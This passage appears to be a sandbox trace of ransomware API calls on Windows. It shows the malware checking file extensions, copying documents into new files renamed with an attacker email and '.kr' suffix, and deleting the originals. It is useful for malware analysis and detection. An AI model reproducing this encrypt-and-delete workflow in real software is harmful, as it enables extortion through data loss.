(lpString1=".docx", lpString2="a.xml") returned -1 [0085.658] lstrlenW (lpString=".pdf") returned 4 [0085.658] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.658] lstrlenW (lpString=".xls") returned 4 [0085.658] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.658] lstrlenW (lpString=".xlsx") returned 5 [0085.658] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.658] lstrlenW (lpString=".ppt") returned 4 [0085.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.659] lstrlenW (lpString=".zip") returned 4 [0085.659] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.659] lstrlenW (lpString=".rar") returned 4 [0085.659] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.659] lstrlenW (lpString=".bz2") returned 4 [0085.659] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.659] lstrlenW (lpString=".7z") returned 3 [0085.659] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.659] lstrlenW (lpString=".dbf") returned 4 [0085.659] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.659] lstrlenW (lpString=".1cd") returned 4 [0085.659] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.659] lstrlenW (lpString=".jpg") returned 4 [0085.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.659] lstrlenW (lpString=".doc") returned 4 [0085.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.659] lstrlenW (lpString=".docx") returned 5 [0085.660] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.660] lstrlenW (lpString=".pdf") returned 4 [0085.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.660] lstrlenW (lpString=".xls") returned 4 [0085.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.660] lstrlenW (lpString=".xlsx") returned 5 [0085.660] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.660] lstrlenW (lpString=".ppt") returned 4 [0085.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.660] lstrlenW (lpString=".zip") returned 4 [0085.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.660] lstrlenW (lpString=".rar") returned 4 [0085.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.660] lstrlenW (lpString=".bz2") returned 4 [0085.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.660] lstrlenW (lpString=".7z") returned 3 [0085.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.660] lstrlenW (lpString=".dbf") returned 4 [0085.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.660] lstrlenW (lpString=".1cd") returned 4 [0085.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.661] lstrlenW (lpString=".jpg") returned 4 [0085.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.661] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0085.661] lstrlenW (lpString="eula.rtf") returned 8 [0085.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0085.662] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=54456) returned 1 [0085.662] CloseHandle (hObject=0x328) returned 1 [0085.662] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0085.662] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.662] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0085.662] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0085.662] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0085.663] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.665] GetLastError () returned 0x0 [0085.665] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0085.668] WriteFile (in: hFile=0x350, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0085.670] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0085.670] WriteFile (in: hFile=0x350, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0085.670] SetEndOfFile (hFile=0x350) returned 1 [0085.670] CloseHandle (hObject=0x350) returned 1 [0085.672] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0085.672] SetEndOfFile (hFile=0x328) returned 1 [0085.674] CloseHandle (hObject=0x328) returned 1 [0085.674] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.674] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0085.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.675] lstrlenW (lpString=".doc") returned 4 [0085.675] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.675] lstrlenW (lpString=".docx") returned 5 [0085.675] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.675] lstrlenW (lpString=".pdf") returned 4 [0085.675] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.675] lstrlenW (lpString=".xls") returned 4 [0085.675] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.675] lstrlenW (lpString=".xlsx") returned 5 [0085.675] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.675] lstrlenW (lpString=".ppt") returned 4 [0085.675] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.675] lstrlenW (lpString=".zip") returned 4 [0085.675] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.675] lstrlenW (lpString=".rar") returned 4 [0085.675] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.675] lstrlenW (lpString=".bz2") returned 4 [0085.995] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.995] lstrlenW (lpString=".7z") returned 3 [0085.995] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.995] lstrlenW (lpString=".dbf") returned 4 [0085.995] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.995] lstrlenW (lpString=".1cd") returned 4 [0085.995] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.995] lstrlenW (lpString=".jpg") returned 4 [0085.995] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.995] lstrlenW (lpString=".doc") returned 4 [0085.995] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.995] lstrlenW (lpString=".docx") returned 5 [0085.995] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.995] lstrlenW (lpString=".pdf") returned 4 [0085.995] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.995] lstrlenW (lpString=".xls") returned 4 [0085.995] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.995] lstrlenW (lpString=".xlsx") returned 5 [0085.995] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.996] lstrlenW (lpString=".ppt") returned 4 [0085.996] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.996] lstrlenW (lpString=".zip") returned 4 [0085.996] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.996] lstrlenW (lpString=".rar") returned 4 [0085.996] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.996] lstrlenW (lpString=".bz2") returned 4 [0085.996] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.996] lstrlenW (lpString=".7z") returned 3 [0085.996] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.996] lstrlenW (lpString=".dbf") returned 4 [0085.996] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.996] lstrlenW (lpString=".1cd") returned 4 [0085.996] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0085.996] lstrlenW (lpString=".jpg") returned 4 [0085.996] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.996] Sleep (dwMilliseconds=0x64) [0086.809] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0086.809] lstrlenW (lpString="LocalizedData.xml") returned 17 [0086.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0086.840] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=80254) returned 1 [0086.841] CloseHandle (hObject=0x300) returned 1 [0086.841] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0086.856] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0086.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0086.857] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0086.857] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0086.857] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.227] GetLastError () returned 0x0 [0087.227] ReadFile (in: hFile=0x334, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1397e, lpOverlapped=0x0) returned 1 [0087.232] WriteFile (in: hFile=0x350, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13980, lpOverlapped=0x0) returned 1 [0087.235] ReadFile (in: hFile=0x334, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0087.235] WriteFile (in: hFile=0x350, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf6, lpOverlapped=0x0) returned 1 [0087.235] SetEndOfFile (hFile=0x350) returned 1 [0087.235] CloseHandle (hObject=0x350) returned 1 [0087.238] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.238] SetEndOfFile (hFile=0x334) returned 1 [0087.240] CloseHandle (hObject=0x334) returned 1 [0087.240] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.240] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0087.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.241] lstrlenW (lpString=".doc") returned 4 [0087.241] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.241] lstrlenW (lpString=".docx") returned 5 [0087.241] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0087.241] lstrlenW (lpString=".pdf") returned 4 [0087.241] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.241] lstrlenW (lpString=".xls") returned 4 [0087.241] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.241] lstrlenW (lpString=".xlsx") returned 5 [0087.241] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0087.241] lstrlenW (lpString=".ppt") returned 4 [0087.241] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.241] lstrlenW (lpString=".zip") returned 4 [0087.241] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.241] lstrlenW (lpString=".rar") returned 4 [0087.241] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.241] lstrlenW (lpString=".bz2") returned 4 [0087.241] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.241] lstrlenW (lpString=".7z") returned 3 [0087.242] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.242] lstrlenW (lpString=".dbf") returned 4 [0087.242] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.242] lstrlenW (lpString=".1cd") returned 4 [0087.242] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.242] lstrlenW (lpString=".jpg") returned 4 [0087.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.242] lstrlenW (lpString=".doc") returned 4 [0087.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.242] lstrlenW (lpString=".docx") returned 5 [0087.242] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0087.242] lstrlenW (lpString=".pdf") returned 4 [0087.242] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.242] lstrlenW (lpString=".xls") returned 4 [0087.242] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.242] lstrlenW (lpString=".xlsx") returned 5 [0087.242] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0087.242] lstrlenW (lpString=".ppt") returned 4 [0087.242] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.242] lstrlenW (lpString=".zip") returned 4 [0087.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.243] lstrlenW (lpString=".rar") returned 4 [0087.243] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.243] lstrlenW (lpString=".bz2") returned 4 [0087.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.243] lstrlenW (lpString=".7z") returned 3 [0087.243] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.243] lstrlenW (lpString=".dbf") returned 4 [0087.243] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.243] lstrlenW (lpString=".1cd") returned 4 [0087.243] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0087.243] lstrlenW (lpString=".jpg") returned 4 [0087.243] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.243] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0087.243] lstrlenW (lpString="LocalizedData.xml") returned 17 [0087.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.244] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=79996) returned 1 [0087.244] CloseHandle (hObject=0x334) returned 1 [0087.244] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0087.244] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.244] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.244] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.702] GetLastError () returned 0x0 [0087.702] ReadFile (in: hFile=0x334, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1387c, lpOverlapped=0x0) returned 1 [0087.705] WriteFile (in: hFile=0x348, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13880, lpOverlapped=0x0) returned 1 [0087.707] ReadFile (in: hFile=0x334, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0087.707] WriteFile (in: hFile=0x348, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf6, lpOverlapped=0x0) returned 1 [0087.707] SetEndOfFile (hFile=0x348) returned 1 [0087.708] CloseHandle (hObject=0x348) returned 1 [0087.712] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0087.712] SetEndOfFile (hFile=0x334) returned 1 [0087.713] CloseHandle (hObject=0x334) returned 1 [0087.713] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.713] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0087.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.714] lstrlenW (lpString=".doc") returned 4 [0087.714] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.714] lstrlenW (lpString=".docx") returned 5 [0087.714] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0087.714] lstrlenW (lpString=".pdf") returned 4 [0087.714] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.714] lstrlenW (lpString=".xls") returned 4 [0087.714] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.714] lstrlenW (lpString=".xlsx") returned 5 [0087.714] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0087.714] lstrlenW (lpString=".ppt") returned 4 [0087.714] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.714] lstrlenW (lpString=".zip") returned 4 [0087.714] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.714] lstrlenW (lpString=".rar") returned 4 [0087.714] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.714] lstrlenW (lpString=".bz2") returned 4 [0087.714] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.714] lstrlenW (lpString=".7z") returned 3 [0087.714] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.715] lstrlenW (lpString=".dbf") returned 4 [0087.715] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.715] lstrlenW (lpString=".1cd") returned 4 [0087.715] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.715] lstrlenW (lpString=".jpg") returned 4 [0087.715] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.715] lstrlenW (lpString=".doc") returned 4 [0087.715] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString=".docx") returned 5 [0087.715] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0087.715] lstrlenW (lpString=".pdf") returned 4 [0087.715] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString=".xls") returned 4 [0087.715] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString=".xlsx") returned 5 [0087.715] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0087.715] lstrlenW (lpString=".ppt") returned 4 [0087.715] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0087.715] lstrlenW (lpString=".zip") returned 4 [0087.715] lstrcmpiW 